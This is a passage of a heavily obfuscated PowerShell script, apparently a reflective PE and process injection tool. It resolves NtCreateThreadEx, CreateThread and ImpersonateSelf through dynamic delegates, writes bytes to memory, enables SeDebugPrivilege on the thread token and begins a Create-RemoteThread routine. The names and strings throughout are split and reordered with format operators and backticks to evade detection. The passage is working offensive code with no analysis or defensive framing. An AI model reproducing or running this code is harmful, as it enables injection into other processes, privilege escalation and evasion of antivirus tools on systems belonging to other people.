  539.         ${im`PeRsona`TES`eL`FaDDR} = &("{2}{0}{3}{1}" -f 'ro','s','Get-P','cAddres') ("{0}{2}{1}" -f'Adv','dll','api32.') ("{0}{1}{3}{4}{2}" -f'Imp','erso','Self','nat','e')
  540.         ${Im`PersONaT`es`eLfd`ElEgate} = &("{1}{2}{0}{4}{3}" -f'eg','Get','-Del','Type','ate') @([Int32]) ([Bool])
  541.         ${I`mper`sO`NAtes`ELf} =  (&("{0}{1}{2}{3}" -f 'g','E','t-vArIAbl','e')  ('M'+'lHit')  -va)::("{6}{7}{2}{3}{1}{0}{5}{8}{4}" -f'Fu','or','e','F','inter','n','GetDe','legat','ctionPo').Invoke(${ImPErsO`N`A`TESE`l`Fad`dR}, ${Imp`E`RsonATEsElFD`E`Le`G`Ate})
  542.         ${w`in`32`FUNcTi`OnS} | &("{0}{2}{1}" -f 'Add-Memb','r','e') -MemberType ("{1}{3}{0}{2}"-f 'P','No','roperty','te') -Name ("{2}{1}{0}"-f'rsonateSelf','pe','Im') -Value ${IMPERS`o`NAt`EselF}
  543.  
  544.  
  545.         if (( $uRyi12::"O`SvE`RsIon"."V`eR`siOn" -ge (&("{0}{2}{1}"-f 'New-','ject','Ob') ("{2}{1}{0}" -f'n','io','Vers') 6,0)) -and (  (  &('Ls') ("varIab"+"l"+"e:U"+"ryI"+"12")).VaLuE::"O`S`VeRSion"."vEr`SiOn" -lt (&("{1}{0}{2}"-f'Ob','New-','ject') ("{0}{2}{1}"-f'Versi','n','o') 6,2))) {
  546.             ${N`TC`REateThre`AdeX`ADDR} = &("{0}{4}{3}{1}{2}"-f 'Get-','e','ss','cAddr','Pro') ("{2}{0}{1}" -f't','Dll.dll','N') ("{4}{1}{3}{2}{0}" -f 'Ex','ateTh','ad','re','NtCre')
  547.             ${N`TCRE`Ate`THRea`dexDe`L`eG`ATE} = &("{1}{3}{4}{2}{0}"-f'pe','G','egateTy','e','t-Del') @( $T2Ngf.("{1}{2}{0}"-f'pe','MakeByR','efTy').Invoke(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  548.             ${Ntcr`EaTetHre`A`DEX} =   (&('Gi') ('Va'+'RiAb'+'lE'+':mlHIT') ).vAlue::("{1}{2}{5}{3}{0}{4}"-f'tio','GetDe','legateF','unc','nPointer','orF').Invoke(${n`TCrEatetH`READEXAD`dR}, ${NT`CrEA`TETH`REAdExdeLEg`ATE})
  549.             ${wIN32F`UNC`Tio`NS} | &("{1}{2}{0}{3}"-f'mbe','Add-','Me','r') -MemberType ("{1}{3}{2}{0}"-f 'y','N','tePropert','o') -Name ("{4}{1}{2}{3}{0}" -f 'eadEx','tCrea','t','eThr','N') -Value ${n`T`crE`Ate`THr`eAdex}
  550.         }
  551.  
  552.         ${I`s`woW64Pr`oC`ESSAdDR} = &("{0}{1}{3}{2}"-f 'G','et-Proc','ddress','A') ("{1}{2}{0}{3}"-f'.','Kernel3','2','dll') ("{0}{2}{1}"-f 'IsWow64','rocess','P')
  553.         ${Is`woW`6`4PRocE`ssdeLegate} = &("{3}{4}{1}{2}{0}"-f 'pe','ga','teTy','Get-','Dele') @([IntPtr],  ( &("{1}{0}"-f 'i','Gc') VarIaBlE:tiaFhC ).ValuE.("{1}{0}{3}{2}" -f 'R','MakeBy','fType','e').Invoke()) ([Bool])
  554.         ${ISWOw64`ProC`eSS} =  (&('Gi')  VARiAbLe:Mlhit  ).vaLUE::("{2}{1}{7}{0}{3}{6}{5}{4}"-f 'F','e','GetDelegat','un','er','t','ctionPoin','For').Invoke(${I`SWOW64`p`RoCe`Ss`ADDR}, ${iS`W`ow6`4pRO`CEssd`eLEgA`TE})
  555.         ${w`IN3`2fUn`ctiOns} | &("{2}{3}{0}{1}"-f 'e','r','Add-','Memb') -MemberType ("{3}{2}{1}{0}"-f 'y','ropert','P','Note') -Name ("{1}{2}{0}"-f'ess','IsWow6','4Proc') -Value ${I`SwoW64pr`Oc`e`ss}
  556.  
  557.         ${creA`TET`h`ReadadDR} = &("{3}{0}{4}{1}{2}"-f '-Proc','d','dress','Get','A') ("{1}{0}{2}" -f'ernel','K','32.dll') ("{0}{2}{1}{3}" -f 'Cr','h','eateT','read')
  558.         ${C`ReaT`E`TH`Rea`dDeLeGa`Te} = &("{0}{2}{3}{1}{4}" -f 'Get','y','-Delegat','eT','pe') @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32],   (  &("{0}{1}{3}{2}"-f'G','et-Va','e','riabL')  km5L  -vALu ).("{1}{2}{0}"-f'yRefType','Make','B').Invoke()) ([IntPtr])
  559.         ${C`R`E`ATeTHrEAd} =   (&("{0}{1}{2}" -f 'GeT','-VarIab','Le') ('MLh'+'IT')  ).vALUE::("{7}{4}{3}{0}{2}{6}{1}{5}"-f 'ateFo','ionPoi','rFun','g','Dele','nter','ct','Get').Invoke(${cre`A`TetHrEADaD`dR}, ${crEATe`THr`Ea`DdelegA`Te})
  560.         ${wIN32`F`UncTI`onS} | &("{0}{1}{2}" -f 'Add-M','embe','r') -MemberType ("{2}{1}{0}{3}" -f'e','oteProp','N','rty') -Name ("{2}{0}{1}"-f 'Thre','ad','Create') -Value ${Cr`eatEt`HREad}
  561.  
  562.         return ${wi`N32funC`TIons}
  563.     }
  564.  
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.     Function sUB-SiGNED`InTAs`U`NSI`GnEd
  574.     {
  575.         Param(
  576.         [Parameter(pOSitIoN = 0, MAnDAtorY = ${t`RUE})]
  577.         [Int64]
  578.         ${vAlU`E1},
  579.  
  580.         [Parameter(posITiOn = 1, MANDAtORy = ${T`RUE})]
  581.         [Int64]
  582.         ${VAlu`e2}
  583.         )
  584.  
  585.         [Byte[]]${vA`LuE1`BYt`ES} =  $xd1h::("{2}{1}{0}" -f'es','Byt','Get').Invoke(${VA`Lue1})
  586.         [Byte[]]${Val`Ue2`By`TES} =  $xD1H::("{2}{0}{1}"-f 'et','Bytes','G').Invoke(${vaL`U`e2})
  587.         [Byte[]]${f`INa`lByTeS} =  $xD1H::"GeTBy`T`es"([UInt64]0)
  588.  
  589.         if (${vAluE`1`B`YtES}."Co`UnT" -eq ${ValUE2`B`Y`TEs}."co`UNT")
  590.         {
  591.             ${c`A`RRyoVER} = 0
  592.             for (${I} = 0; ${I} -lt ${va`LUe1BY`TeS}."cO`UNt"; ${I}++)
  593.             {
  594.                 ${V`AL} = ${V`ALuE1B`Yt`Es}[${I}] - ${c`AR`Ry`oVEr}
  595.  
  596.                 if (${v`AL} -lt ${Va`lu`e2BYT`ES}[${i}])
  597.                 {
  598.                     ${v`Al} += 256
  599.                     ${CA`RR`yOvEr} = 1
  600.                 }
  601.                 else
  602.                 {
  603.                     ${car`Ryov`eR} = 0
  604.                 }
  605.  
  606.  
  607.                 [UInt16]${S`Um} = ${v`AL} - ${val`Ue2`BYteS}[${i}]
  608.  
  609.                 ${fin`A`lBYT`eS}[${i}] = ${s`Um} -band 0x00FF
  610.             }
  611.         }
  612.         else
  613.         {
  614.             Throw ("{7}{4}{8}{1}{0}{6}{2}{11}{5}{10}{3}{9}" -f 'yte','ract b','rrays of ','iz','o','ifferent','a','Cann','t subt','es',' s','d')
  615.         }
  616.  
  617.         return  $xD1H::("{0}{1}" -f 'ToIn','t64').Invoke(${F`INalB`Yt`Es}, 0)
  618.     }
  619.  
  620.  
  621.     Function ad`d-S`i`GnedintasU`NsiGnED
  622.     {
  623.             Param(
  624.         [Parameter(POSITiOn = 0, mandAtOrY = ${T`RUe})]
  625.         [Int64]
  626.         ${Val`Ue1},
  627.  
  628.         [Parameter(pOsItioN = 1, manDaTorY = ${t`RUE})]
  629.         [Int64]
  630.         ${valu`e2}
  631.         )
  632.  
  633.         [Byte[]]${v`ALUE1b`yteS} =  ( &("{1}{3}{2}{0}"-f'e','GET','aRiAbL','-v')  ('XD1'+'h')  -vaLUeoNL)::("{0}{1}" -f 'GetByt','es').Invoke(${valu`E1})
  634.         [Byte[]]${VAlu`E`2ByT`Es} =   $XD1H::("{0}{2}{1}" -f 'Get','ytes','B').Invoke(${v`AlUe2})
  635.         [Byte[]]${Fi`NA`LbY`TeS} =   (&("{2}{0}{1}" -f'i','ABLE','VaR') xd1H -vaLUe  )::"G`EtB`YtES"([UInt64]0)
  636.  
  637.         if (${ValU`e1bYt`ES}."Co`UnT" -eq ${Val`UE`2`BYtES}."CoU`NT")
  638.         {
  639.             ${CaR`R`yov`eR} = 0
  640.             for (${I} = 0; ${i} -lt ${vaL`Ue1bY`TES}."Co`UNt"; ${I}++)
  641.             {
  642.  
  643.                 [UInt16]${S`UM} = ${vaLue`1`BYt`eS}[${I}] + ${v`ALuE2`B`yTES}[${I}] + ${c`ARr`y`ovEr}
  644.  
  645.                 ${f`In`ALbyTes}[${i}] = ${S`Um} -band 0x00FF
  646.  
  647.                 if ((${s`Um} -band 0xFF00) -eq 0x100)
  648.                 {
  649.                     ${car`RY`oVeR} = 1
  650.                 }
  651.                 else
  652.                 {
  653.                     ${CaRRY`OV`Er} = 0
  654.                 }
  655.             }
  656.         }
  657.         else
  658.         {
  659.             Throw ("{3}{0}{1}{7}{4}{6}{5}{8}{2}" -f 'not ','a','zes','Can','ytearrays of diff','ent ','er','dd b','si')
  660.         }
  661.  
  662.         return   $XD1H::("{1}{0}"-f '4','ToInt6').Invoke(${fi`NaLByt`es}, 0)
  663.     }
  664.  
  665.  
  666.     Function cOMPA`Re-`Va`l`1`grE`A`T`e`RtHaNVaL2aSUinT
  667.     {
  668.         Param(
  669.         [Parameter(POsITIon = 0, mANDATorY = ${TR`UE})]
  670.         [Int64]
  671.         ${v`A`Lue1},
  672.  
  673.         [Parameter(poSITiON = 1, mAnDATory = ${Tr`UE})]
  674.         [Int64]
  675.         ${v`AlU`e2}
  676.         )
  677.  
  678.         [Byte[]]${Va`lUE1bY`T`eS} =  (  &("{0}{2}{3}{1}"-f'GE','E','T-v','ARIaBL') ("x"+"D1H") -ValuEONlY)::("{2}{0}{1}"-f'tByte','s','Ge').Invoke(${V`ALuE1})
  679.         [Byte[]]${VAl`U`E2BYTES} =   ( &("{0}{2}{1}" -f 'Var','Le','iAb') ("X"+"d1H")  ).VaLUE::("{1}{2}{0}"-f 's','Ge','tByte').Invoke(${V`ALU`E2})
  680.  
  681.         if (${Va`LUe`1by`TeS}."Co`UNt" -eq ${VAl`UE2bYt`ES}."c`ounT")
  682.         {
  683.             for (${i} = ${VaLU`e1b`Y`TeS}."C`oUnT"-1; ${i} -ge 0; ${I}--)
  684.             {
  685.                 if (${vaLu`E`1B`ytes}[${I}] -gt ${V`A`luE2bYTES}[${I}])
  686.                 {
  687.                     return ${t`RUe}
  688.                 }
  689.                 elseif (${v`A`lue1BY`TeS}[${I}] -lt ${Va`l`Ue2b`YtES}[${I}])
  690.                 {
  691.                     return ${f`Alse}
  692.                 }
  693.             }
  694.         }
  695.         else
  696.         {
  697.             Throw ("{6}{5}{0}{4}{1}{7}{2}{3}"-f ' byte arrays of di','erent ','i','ze','ff','compare','Cannot ','s')
  698.         }
  699.  
  700.         return ${F`ALse}
  701.     }
  702.  
  703.  
  704.     Function CoNVErT`-`UINT`To`INt
  705.     {
  706.         Param(
  707.         [Parameter(pOSitioN = 0, mANdATORy = ${T`RUE})]
  708.         [UInt64]
  709.         ${vAL`Ue}
  710.         )
  711.  
  712.         [Byte[]]${valu`EBy`T`es} =   (  &("{1}{0}" -f 'R','DI')  VARIAbLE:Xd1h).vALue::("{1}{0}{2}" -f't','Ge','Bytes').Invoke(${Val`UE})
  713.         return (  $xd1H::("{1}{0}"-f 't64','ToIn').Invoke(${vALU`e`ByteS}, 0))
  714.     }
  715.  
  716.  
  717.     Function g`et-Hex
  718.     {
  719.         Param(
  720.         [Parameter(pOsITIoN = 0, MAnDatoRy = ${tr`Ue})]
  721.         ${V`AlUE}
  722.         )
  723.  
  724.         ${vALU`ES`Ize} =  ( &("{1}{0}{2}" -f'Ar','V','IAblE') mlhIt ).valUE::"Si`ZEOf"([Type]${vAL`UE}.("{1}{2}{0}"-f'e','Ge','tTyp').Invoke()) * 2
  725.         ${H`Ex} = "0x{0:X$($ValueSize)}" -f [Int64]${V`AluE}
  726.  
  727.         return ${H`Ex}
  728.     }
  729.  
  730.  
  731.     Function Te`St-mEMor`yRA`NGEv`AlId
  732.     {
  733.         Param(
  734.         [Parameter(PosiTIon = 0, mANdAtory = ${tR`UE})]
  735.         [String]
  736.         ${DE`Bu`GSTR`Ing},
  737.  
  738.         [Parameter(PosiTIon = 1, ManDAToRY = ${t`Rue})]
  739.         [System.Object]
  740.         ${pe`In`Fo},
  741.  
  742.         [Parameter(poSitIoN = 2, MANDAtory = ${Tr`UE})]
  743.         [IntPtr]
  744.         ${ST`ArTa`Ddr`esS},
  745.  
  746.         [Parameter(paRamEterSetNAme = "s`IZE", PositIOn = 3, maNDatory = ${TR`UE})]
  747.         [IntPtr]
  748.         ${SI`ZE}
  749.         )
  750.  
  751.         [IntPtr]${FIN`ALe`Nd`A`d`drEss} = [IntPtr](&("{3}{6}{5}{1}{2}{0}{4}"-f'g','igne','dIntAsUnsi','A','ned','S','dd-') (${stA`RtA`DD`ReSs}) (${S`ize}))
  752.  
  753.         ${PE`enDad`DreSs} = ${pE`info}."EN`dADDR`Ess"
  754.  
  755.         if ((&("{6}{3}{7}{1}{4}{8}{2}{5}{0}" -f't','Grea','UI','re-Va','terTha','n','Compa','l1','nVal2As') (${PEIN`FO}."PeHa`ND`le") (${ST`ARTaDDr`eSs})) -eq ${tR`Ue})
  756.         {
  757.             Throw ('Tr'+'ying '+'t'+'o '+'w'+'ri'+'te '+'to'+' '+'mem'+'ory '+'small'+'e'+'r '+'th'+'an '+'al'+'locat'+'e'+'d '+'add'+'r'+'ess '+'range.'+' '+"$DebugString")
  758.         }
  759.         if ((&("{3}{6}{7}{1}{4}{2}{0}{9}{8}{5}" -f'al2A','eat','ThanV','Comp','er','t','are-Va','l1Gr','In','sU') (${Fi`NAlEnDaDD`R`E`SS}) (${P`eend`Ad`d`ReSs})) -eq ${Tr`UE})
  760.         {
  761.             Throw ('T'+'ryin'+'g '+'to'+' '+'w'+'rit'+'e '+'t'+'o '+'me'+'mory'+' '+'grea'+'te'+'r '+'tha'+'n '+'alloc'+'a'+'ted '+'addres'+'s '+'r'+'ange.'+' '+"$DebugString")
  762.         }
  763.     }
  764.  
  765.  
  766.     Function w`RItE-b`YtesT`Ome`Mo`RY
  767.     {
  768.         Param(
  769.             [Parameter(POsiTiON=0, mANdAtoRY = ${T`RUE})]
  770.             [Byte[]]
  771.             ${b`YTeS},
  772.  
  773.             [Parameter(pOsItIOn=1, MandaTORy = ${T`RuE})]
  774.             [IntPtr]
  775.             ${me`M`orYA`DdRE`sS}
  776.         )
  777.  
  778.         for (${O`FF`sEt} = 0; ${O`FFset} -lt ${B`Ytes}."l`en`Gth"; ${OfF`S`et}++)
  779.         {
  780.               $mlHit::"wRitE`By`TE"(${memoRYadd`Re`ss}, ${OFFs`et}, ${BYt`Es}[${of`FS`Et}])
  781.         }
  782.     }
  783.  
  784.  
  785.  
  786.     Function g`Et-`De`lEGat`Etype
  787.     {
  788.         Param
  789.         (
  790.             [OutputType([Type])]
  791.  
  792.             [Parameter( positioN = 0)]
  793.             [Type[]]
  794.             ${pa`R`AmETerS} = (&("{0}{1}{2}" -f'N','e','w-Object') ("{2}{0}{1}"-f 'pe','[]','Ty')(0)),
  795.  
  796.             [Parameter( pOSiTION = 1 )]
  797.             [Type]
  798.             ${retU`RnT`YPe} = [Void]
  799.         )
  800.  
  801.         ${d`oMaiN} =  (  &('gI')  variaBLE:EGj7  ).vaLuE::"cU`R`RE`Nt`domaIn"
  802.         ${d`YN`ASSem`BLy} = &("{0}{1}{2}" -f 'N','ew-O','bject') ("{2}{0}{6}{5}{1}{4}{3}" -f 'tem.Reflect','Assembl','Sys','me','yNa','.','ion')(("{2}{1}{3}{0}" -f'gate','ctedDe','Refle','le'))
  803.         ${a`sSEMBLyBu`ILder} = ${dOm`A`In}."de`F`inEDY`Nam`ICaSSEm`BlY"(${DYN`AS`sEmBly},  (  &('LS') ("VaRIa"+"BlE"+":rb"+"H0") ).VaLUE::"r`Un")
  804.         ${m`ODu`L`EB`UiLder} = ${aSseM`B`lYbui`lDEr}.("{2}{3}{4}{1}{0}" -f'odule','micM','Defi','neDy','na').Invoke(("{0}{2}{1}{3}"-f'InMem','odul','oryM','e'), ${f`A`LSE})
  805.         ${tyP`ebui`l`DER} = ${mo`D`UleBuil`dEr}.("{1}{2}{0}" -f 'ype','Defin','eT').Invoke(("{1}{2}{0}"-f'pe','MyDelegateT','y'), ("{9}{8}{0}{5}{1}{6}{4}{7}{2}{3}" -f', Publ',', Se','iClass, Auto','Class','d, An','ic','ale','s','s','Clas'), [System.MulticastDelegate])
  806.         ${C`onsTRu`CTorbuil`DER} = ${tYpEbui`l`dEr}.("{3}{0}{5}{2}{4}{1}" -f 'efine','tor','stru','D','c','Con').Invoke(("{8}{2}{7}{0}{3}{6}{5}{4}{9}{1}" -f'a','ic','Spe','me,','u',', P',' HideBySig','cialN','RT','bl'),  $TG58U::"st`AnD`ARD", ${P`ArA`MEt`ERS})
  807.         ${CO`NSTRuct`oRb`UILD`er}.("{0}{2}{3}{1}{5}{4}" -f'SetI','t','m','plemen','gs','ationFla').Invoke(("{2}{3}{4}{1}{0}" -f'ed','nag','Run','time, ','Ma'))
  808.         ${M`Et`HoD`BuilDER} = ${T`YPeBUi`L`dER}.("{0}{2}{1}"-f'Def','thod','ineMe').Invoke('Invoke', ("{6}{5}{2}{4}{1}{9}{8}{0}{7}{3}" -f'lot, Virt','ySig','ic, H','l','ideB','l','Pub','ua','NewS',', '), ${ReT`URnt`Ype}, ${paRa`M`eTe`RS})
  809.         ${methoD`Buil`deR}.("{3}{1}{4}{5}{2}{6}{0}"-f's','t','onFl','Se','Im','plementati','ag').Invoke(("{1}{2}{0}{3}" -f ' Man','R','untime,','aged'))
  810.  
  811.         &("{0}{2}{1}"-f'Write-O','ut','utp') ${t`Y`pEbuIld`er}.("{3}{1}{2}{0}"-f 'pe','eT','y','Creat').Invoke()
  812.     }
  813.  
  814.  
  815.  
  816.     Function GEt-`PRoCa`dDr`eSS
  817.     {
  818.         Param
  819.         (
  820.             [OutputType([IntPtr])]
  821.  
  822.             [Parameter( positioN = 0, MAndAtORY = ${t`Rue} )]
  823.             [String]
  824.             ${m`oDulE},
  825.  
  826.             [Parameter( PoSiTiOn = 1, MANDatOrY = ${TR`UE} )]
  827.             [String]
  828.             ${PrOcEd`U`Re}
  829.         )
  830.  
  831.  
  832.         ${S`Y`STeMaSsE`mb`Ly} =   $eGj7::"cuRRENt`D`OMa`In".("{2}{1}{0}{3}" -f 'se','etAs','G','mblies').Invoke() |
  833.             &("{0}{3}{2}{1}"-f 'W','t','jec','here-Ob') { ${_}."G`LoBal`ASseMbLYC`AC`he" -And ${_}."l`OCat`ION".("{0}{1}" -f'Sp','lit').Invoke('\')[-1].("{1}{0}" -f 's','Equal').Invoke(("{3}{0}{2}{1}"-f's','ll','tem.d','Sy')) }
  834.         ${U`N`SAFena`TiveM`ethodS} = ${Sys`TeM`Ass`eMBLY}.("{0}{1}"-f 'GetTy','pe').Invoke(("{6}{3}{0}{5}{1}{2}{4}"-f'ro','oft.Win32.Unsaf','e','c','NativeMethods','s','Mi'))
  835.  
  836.         ${getm`OD`Ul`ehA`NDlE} = ${uN`sA`FeNatI`VEm`eTh`Ods}.("{0}{2}{1}"-f 'Ge','ethod','tM').Invoke(("{1}{0}{3}{2}"-f 'Han','GetModule','le','d'))
  837.  
  838.         Try
  839.         {
  840.             ${ge`TPR`o`caDDresS} = ${uNSa`FeN`AtIvEM`ETHodS}.("{1}{2}{0}" -f'd','GetMet','ho').Invoke(("{0}{1}{2}" -f 'G','etPro','cAddress'))
  841.         }
  842.         Catch
  843.         {
  844.             ${gE`TPRoca`D`Dr`Ess} = ${U`NSAf`en`ATIv`em`ETho`DS}.("{0}{1}{2}" -f 'GetMet','h','od').Invoke(("{1}{0}{2}" -f 'tProcAd','Ge','dress'),
  845.                                                             [reflection.bindingflags] ("{4}{0}{3}{1}{2}"-f'lic','t','atic',',S','Pub'),
  846.                                                             ${n`UlL},
  847.                                                              $Tg58U::"a`Ny",
  848.                                                             @((&("{0}{1}{2}{3}"-f'N','ew-Ob','je','ct') ("{10}{3}{4}{1}{7}{8}{9}{2}{5}{12}{0}{6}{11}"-f 'R','e','.H','m.R','untim','and','e','.Interop','Servi','ces','Syste','f','le')).("{2}{1}{0}"-f'e','Typ','Get').Invoke(),
  849.                                                             [string]),
  850.                                                             ${n`ULL})
  851.         }
  852.  
  853.  
  854.         ${Ke`Rn3`2hanD`le} = ${GETmO`DulE`haN`D`le}."I`NVoke"(${NU`lL}, @(${MO`dulE}))
  855.         ${tmpp`TR} = &("{0}{3}{2}{1}"-f 'New-O','ct','je','b') ("{1}{0}" -f 'tr','IntP')
  856.         ${h`AnD`L`ereF} = &("{0}{2}{3}{1}" -f'New','t','-Obje','c') ("{3}{2}{0}{1}{6}{5}{4}" -f'.Runt','ime.In','ystem','S','andleRef','ces.H','teropServi')(${Tm`pptr}, ${Ke`R`N`32ha`NdLe})
  857.  
  858.  
  859.         &("{1}{0}{2}"-f'u','Write-O','tput') ${G`EtPr`O`CADdResS}."invo`ke"(${Nu`LL}, @([System.Runtime.InteropServices.HandleRef]${H`AnD`Le`REF}, ${pr`ocE`DuRE}))
  860.     }
  861.  
  862.  
  863.     Function e`N`ABlE-sE`debuG`privIleGE
  864.     {
  865.         Param(
  866.         [Parameter(pOsiTioN = 1, MANdaTOry = ${T`Rue})]
  867.         [System.Object]
  868.         ${wIN3`2F`UNct`IO`Ns},
  869.  
  870.         [Parameter(pOSition = 2, MANDatORy = ${T`Rue})]
  871.         [System.Object]
  872.         ${WIn3`2T`ypes},
  873.  
  874.         [Parameter(PosITIOn = 3, mAnDaTOry = ${t`RUe})]
  875.         [System.Object]
  876.         ${W`iN3`2`ConSTANts}
  877.         )
  878.  
  879.         [IntPtr]${thrE`AD`HAND`lE} = ${wiN`3`2f`UnCt`ioNs}."G`ET`Cu`RrenttHr`Ead"."i`NVoKe"()
  880.         if (${t`HrE`ADHaNDle} -eq   (&("{1}{0}{4}{3}{2}"-f '-','Get','EM','LDIT','cHi') ('VarIable'+':t2NG'+'f')).VaLue::"Z`eRO")
  881.         {
  882.             Throw ("{6}{3}{4}{1}{7}{0}{9}{10}{8}{5}{2}"-f' han','et',' thread','le to ','g','urrent','Unab',' the','o the c','dle',' t')
  883.         }
  884.  
  885.         [IntPtr]${ThRE`AD`TokeN} =  (  &("{0}{1}"-f 'i','TEM') vARIAbLe:T2NGF).ValUe::"ze`Ro"
  886.         [Bool]${res`ULt} = ${WIn32F`Un`cTionS}."op`ENt`HrEadToKeN"."IN`VOKE"(${t`HreAdHAND`lE}, ${wIn3`2co`NsTA`NTs}."tok`En_q`Uery" -bor ${WI`N3`2CoNStaNTS}."To`KeN`_aDjUST_Pr`Ivi`lEGES", ${F`ALse}, [Ref]${ThR`eaD`ToK`en})
  887.         if (${Res`ULT} -eq ${FA`LSe})
  888.         {
  889.             ${E`RrO`RC`ODe} =  $mlHIT::("{4}{2}{1}{0}{5}{3}" -f 'rr','stWin32E','La','r','Get','o').Invoke()
  890.             if (${e`R`RO`Rcode} -eq ${wIN`32`c`onSTAnTS}."err`Or_no_t`OkEN")
  891.             {
  892.                 ${r`eSu`Lt} = ${WIN32FU`NCTi`O`Ns}."i`mPER`So`Nate`sElF"."iNv`OkE"(3)
  893.                 if (${RE`su`LT} -eq ${fAl`se})
  894.                 {
  895.                     Throw ("{0}{2}{3}{1}{4}{5}" -f 'Unabl','to im','e',' ','perso','nate self')
  896.                 }
  897.  
  898.                 ${REs`ULT} = ${wIn`32fuNC`T`IoNs}."o`peN`THreadTo`kEN"."iN`VokE"(${tHrEAdh`And`le}, ${win32CoN`stA`NTs}."tOk`eN_QU`ERy" -bor ${wiN32cOnS`T`A`NTs}."ToKe`N`_adjusT_PR`IvIL`Eg`es", ${Fa`l`Se}, [Ref]${ThR`E`Adtok`EN})
  899.                 if (${R`ES`ULt} -eq ${faL`Se})
  900.                 {
  901.                     Throw ("{4}{3}{5}{0}{1}{2}"-f 'OpenT','hreadTo','ken.','ble ','Una','to ')
  902.                 }
  903.             }
  904.             else
  905.             {
  906.                 Throw ('Un'+'able '+'t'+'o '+'OpenThrea'+'dT'+'ok'+'e'+'n'+'. '+'E'+'rro'+'r '+'co'+'de: '+"$ErrorCode")
  907.             }
  908.         }
  909.  
  910.         [IntPtr]${P`LuID} =   $MlhIT::"ALLo`ch`GLoBAl"( (  &("{1}{0}{2}" -f'vaRIAB','GeT-','le')  Mlhit  -VAlueonLY )::"s`i`zeOf"([Type]${WIn32`T`YPes}."lu`id"))
  911.         ${rESU`lT} = ${Win`32Fu`NCT`i`onS}."L`ooKUppRivI`L`EG`EV`AluE"."iNv`OkE"(${N`UlL}, ("{1}{2}{0}{3}" -f 'Privile','S','eDebug','ge'), ${p`L`Uid})
  912.         if (${Re`sulT} -eq ${fA`lse})
  913.         {
  914.             Throw ("{1}{7}{8}{4}{0}{6}{2}{9}{10}{5}{3}" -f'l','Unab','ooku','e','to cal','lu',' L','l','e ','pPrivi','legeVa')
  915.         }
  916.  
  917.         [UInt32]${TokE`N`PrIVsIZe} =  (  &("{1}{2}{0}" -f 'LE','Va','RIab') ("Ml"+"hIT")).vaLUE::"SIZE`oF"([Type]${Wi`N`3`2TYpEs}."toK`en_P`R`iVILe`geS")
  918.         [IntPtr]${TOkeN`pRivi`Leg`esmeM} =  (&("{1}{3}{2}{0}"-f 'lE','GET-v','RIAb','A')  MLHiT  -va  )::("{2}{0}{1}"-f'HGl','obal','Alloc').Invoke(${TokENPr`i`VS`IzE})
  919.         ${T`ok`enpRIViLeG`Es} =  $mLhit::"P`Tr`TOS`TRuCtUrE"(${T`OK`eNPRiVI`l`EgESm`eM}, [Type]${w`IN`32Typ`eS}."toKen_pRi`V`IL`e`ges")
  920.         ${T`Oke`NpriviL`E`Ges}."PR`iVi`LEge`coU`NT" = 1
  921.         ${t`o`KeN`priV`IlEgEs}."P`RIvIle`geS"."Lu`id" =   (  &("{1}{0}"-f'i','Gc') ("VaRIa"+"B"+"LE"+":Mlhit")).valuE::"pTrTos`TrUc`T`URe"(${Plu`iD}, [Type]${win`3`2`TypeS}."lU`Id")
  922.         ${Toke`NPriv`i`Le`Ges}."p`Rivile`GES"."ATT`RibUt`es" = ${w`in`32`COnStANtS}."SE`_pr`I`Vilege`_ENaB`LED"
  923.           ( &("{2}{1}{0}"-f 'ABLe','RI','VA') ('M'+'LHIT') ).vALUE::("{2}{3}{0}{1}"-f'ctureT','oPtr','Str','u').Invoke(${t`OkenPRiv`IlEGEs}, ${t`o`kENpR`iv`ILEG`EsmEM}, ${t`RuE})
  924.  
  925.         ${re`SU`lt} = ${W`iN32`F`UNcTiONs}."A`D`Ju`s`TtOKEnpRIviLEgES"."In`VOkE"(${Thr`EaD`TOkEN}, ${FA`lse}, ${TokEN`P`Ri`VILe`geSmEM}, ${t`okE`NPR`IvS`IzE},  (&("{1}{0}"-f'EM','GEt-it') ("varI"+"ab"+"Le:T2ngf")  ).vAlUE::"ZE`Ro",   (  &("{1}{0}" -f'Em','IT') ('VaRiAbl'+'E:t'+'2'+'nG'+'F')  ).VALue::"z`Ero")
  926.         ${e`RRor`C`Ode} =   $mLHit::("{0}{2}{4}{1}{3}"-f'GetLas','ro','tWin','r','32Er').Invoke()
  927.         if ((${RES`Ult} -eq ${F`Al`SE}) -or (${ErrOR`c`oDE} -ne 0))
  928.         {
  929.  
  930.         }
  931.  
  932.          ( &("{0}{2}{1}"-f 'geT-','teM','i') VArIabLe:mlhIt).vALuE::("{1}{0}{2}"-f'HGloba','Free','l').Invoke(${ToK`ENPRIV`IlE`ge`SM`eM})
  933.     }
  934.  
  935.  
  936.     Function cR`eaTE`-ReMotET`Hre`Ad
  937.     {
  938.         Param(
  939.         [Parameter(POSiTIOn = 1, mAnDAtoRy = ${t`RUe})]
  940.         [IntPtr]
  941.         ${pRO`C`ESsHanDLe},
  942.  
  943.         [Parameter(posiTIoN = 2, MANDatOrY = ${Tr`Ue})]
  944.         [IntPtr]
  945.         ${st`ArTADD`RESs},
  946.  
  947.         [Parameter(POSItIOn = 3, ManDATORY = ${Fa`lsE})]
  948.         [IntPtr]
  949.         ${ARGuME`Nt`ptr} =  $t2NgF::"ZE`Ro",
  950.  
  951.         [Parameter(PoSITIOn = 4, maNdATORy = ${tR`UE})]
  952.         [System.Object]
  953.         ${Win32f`UnCt`I`o`NS}
  954.         )
  955.  
  956.         [IntPtr]${REmoTE`TH`RE`A`D`Ha`NDlE} =  (  &("{1}{0}" -f'I','GC')  VaRIabLe:t2nGf).VAlUe::"zE`Ro"
  957.  
  958.         ${OS`VErsi`ON} =  (  &("{1}{0}"-f 'tem','i')  VArIABlE:Uryi12  ).vALue::"O`S`VErsIon"."v`E`RsIOn"
  959.  
  960.         if ((${oS`VErSI`On} -ge (&("{1}{2}{0}" -f 'w-Object','N','e') ("{1}{0}{2}" -f 'o','Versi','n') 6,0)) -and (${Os`VeRs`ion} -lt (&("{3}{0}{1}{2}"-f'w-O','bj','ect','Ne') ("{1}{0}{2}"-f 'ersio','V','n') 6,2)))
  961.         {
  962.  
